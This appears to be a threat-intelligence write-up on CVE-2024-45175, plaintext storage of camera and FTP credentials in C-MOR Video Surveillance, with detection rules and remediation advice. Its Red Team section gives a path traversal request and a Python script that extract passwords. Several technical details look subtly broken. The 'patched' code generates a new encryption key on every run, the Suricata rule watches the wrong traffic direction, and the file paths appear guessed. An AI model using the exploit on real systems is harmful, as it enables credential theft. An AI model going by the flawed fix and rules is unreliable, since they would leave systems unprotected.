CVE-2024-45175

Executive Summary

CVE-2024-45175 exposes a critical cleartext storage vulnerability in za-internet C-MOR Video Surveillance version 5.2401. Sensitive information, including login credentials for configured cameras and FTP servers, is stored in plaintext on the filesystem. An attacker with filesystem access—for example, via a path traversal attack—can retrieve these credentials, leading to full compromise of the surveillance infrastructure. No patch is currently available, and the vendor has not issued a security advisory. This vulnerability is particularly dangerous in environments where C-MOR is exposed to untrusted networks or where path traversal flaws exist in the same or adjacent components.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a proprietary video surveillance appliance (C-MOR Video Surveillance) from za-internet. The risk is primarily to on-premises deployments where the appliance is accessible to attackers.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: High (based on impact and ease of exploitation)

Rationale: Although no CVSS vector is provided, the vulnerability allows an attacker with filesystem access to retrieve all stored credentials. The attack complexity is low (requires only filesystem read access, e.g., via path traversal), and the impact on confidentiality is high. Integrity and availability are not directly affected, but credential exposure can lead to further compromise.

Estimated Vector (if assigned): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (Network, Low complexity, No privileges, No user interaction, Unchanged scope, High confidentiality, No integrity, No availability)

Deep Dive & Mechanics

The vulnerability resides in how C-MOR Video Surveillance stores configuration data. The application writes camera credentials (usernames and passwords) and FTP server credentials to plaintext files on the filesystem. These files are typically located in directories accessible to the web server process or via path traversal.

Root Cause: The application does not encrypt or hash sensitive configuration data before writing it to disk. This violates the principle of least privilege and secure storage practices.

Attack Vector: An attacker first exploits a separate vulnerability (e.g., path traversal, local file inclusion, or direct filesystem access) to read the configuration files. Common paths include:

• /etc/c-mor/camera.conf
• /var/www/html/config/cameras.xml
• /opt/c-mor/data/camera_credentials.txt

Impact: Once the attacker obtains the credentials, they can:

• Log into the cameras directly (bypassing C-MOR).
• Access the FTP server if configured.
• Move laterally within the network.

Prerequisites: The attacker must have filesystem read access. This can be achieved via:

• Path traversal in the web interface.
• Local file inclusion (LFI) in a web application.
• Physical access or SSH compromise.

Vulnerable vs. Patched Code

Vulnerable Code (C-MOR 5.2401): The application writes credentials in plaintext. Example (pseudocode):

def save_camera_config(camera_id, username, password):
    with open(f"/etc/c-mor/camera_{camera_id}.conf", "w") as f:
        f.write(f"username={username}\npassword={password}\n")

Patched Code (Hypothetical): The application should encrypt the password before storage:

from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher = Fernet(key)
def save_camera_config(camera_id, username, password):
    encrypted_password = cipher.encrypt(password.encode())
    with open(f"/etc/c-mor/camera_{camera_id}.conf", "w") as f:
        f.write(f"username={username}\npassword={encrypted_password.decode()}\n")

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Objective: Extract camera credentials from a vulnerable C-MOR instance.

Prerequisites: Access to the filesystem via path traversal (e.g., ../../etc/c-mor/camera_1.conf).

Step-by-Step Exploit:

1. Identify a path traversal vulnerability in the C-MOR web interface (e.g., in the download parameter).
2. Craft a request to read the camera configuration file:

   GET /download?file=../../etc/c-mor/camera_1.conf HTTP/1.1
   Host: target-cmor.local
   

3. Parse the response to extract username and password.
4. Use the credentials to log into the camera directly (e.g., via RTSP or HTTP).

Example Python Script:

import requests

target = "http://target-cmor.local"
payload = "/download?file=../../etc/c-mor/camera_1.conf"
response = requests.get(target + payload)
if response.status_code == 200:
    for line in response.text.splitlines():
        if "password=" in line:
            print(f"Extracted: {line}")

Blue Team

Detection:

• Monitor for path traversal attempts in web logs (e.g., ../ patterns).
• Alert on access to configuration files outside the web root.
• Use file integrity monitoring (FIM) on /etc/c-mor/ and /var/www/html/config/.

Hunting:

• Search for processes reading files in /etc/c-mor/ that are not the C-MOR application.
• Look for unusual outbound connections from cameras to unknown IPs (indicating credential misuse).

Mitigation:

• Apply network segmentation to isolate C-MOR from untrusted networks.
• Use a WAF to block path traversal patterns.
• If possible, encrypt the filesystem or use a custom kernel module to restrict read access.

Indicators of Compromise (IOCs)

File Paths (Indicative of exploitation):

• /etc/c-mor/camera_*.conf (accessed via path traversal)
• /var/www/html/config/cameras.xml
• /opt/c-mor/data/camera_credentials.txt

Network IOCs:

• Outbound connections from cameras to IPs not in the allowed list.
• FTP connections from the C-MOR server to unknown hosts.

Log IOCs:

• Web server logs containing ../ or %2e%2e/ patterns.
• Repeated 404 errors for non-existent files followed by successful reads of config files.

Detection Engineering

YARA Rule

rule CVE_2024_45175_Credential_Exposure {
    meta:
        description = "Detects plaintext camera credentials in C-MOR Video Surveillance config files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45175"
    strings:
        $cred_pattern = /password=[^\n]{1,64}/
        $camera_conf = "camera_" ascii
        $ftp_conf = "ftp_" ascii
    condition:
        ($cred_pattern and ($camera_conf or $ftp_conf))
}

Sigma Rule

title: C-MOR Video Surveillance Credential Exposure via Path Traversal
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts targeting C-MOR configuration files
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..%2f'
            - '%2e%2e%2f'
        cs-uri-query|endswith:
            - '.conf'
            - '.xml'
            - 'credentials.txt'
    condition: selection
falsepositives:
    - Legitimate file downloads if path traversal is used for admin purposes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45175 - C-MOR Video Surveillance Credential Exposure via Path Traversal";
    flow:to_server,established;
    content:"../"; http_uri;
    content:".conf"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the C-MOR appliance from untrusted networks (e.g., place behind a firewall with strict ACLs).
2. Change all camera and FTP passwords immediately, as they may have been exposed.
3. Monitor for unauthorized access to the appliance using the IOCs above.

Long-Term Fixes:

• Vendor Patch: Contact za-internet for a security update. If none is available, consider replacing the appliance.
• Workaround: If you have source access, implement encryption for stored credentials as shown in the patched code example.
• Filesystem Hardening: Use filesystem permissions to restrict read access to configuration files (e.g., chmod 600 and chown root:root).
• Web Application Firewall: Deploy a WAF to block path traversal patterns.

Compensating Controls:

• Enable logging and alerting on all filesystem access to sensitive paths.
• Use a SIEM to correlate path traversal attempts with credential usage.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert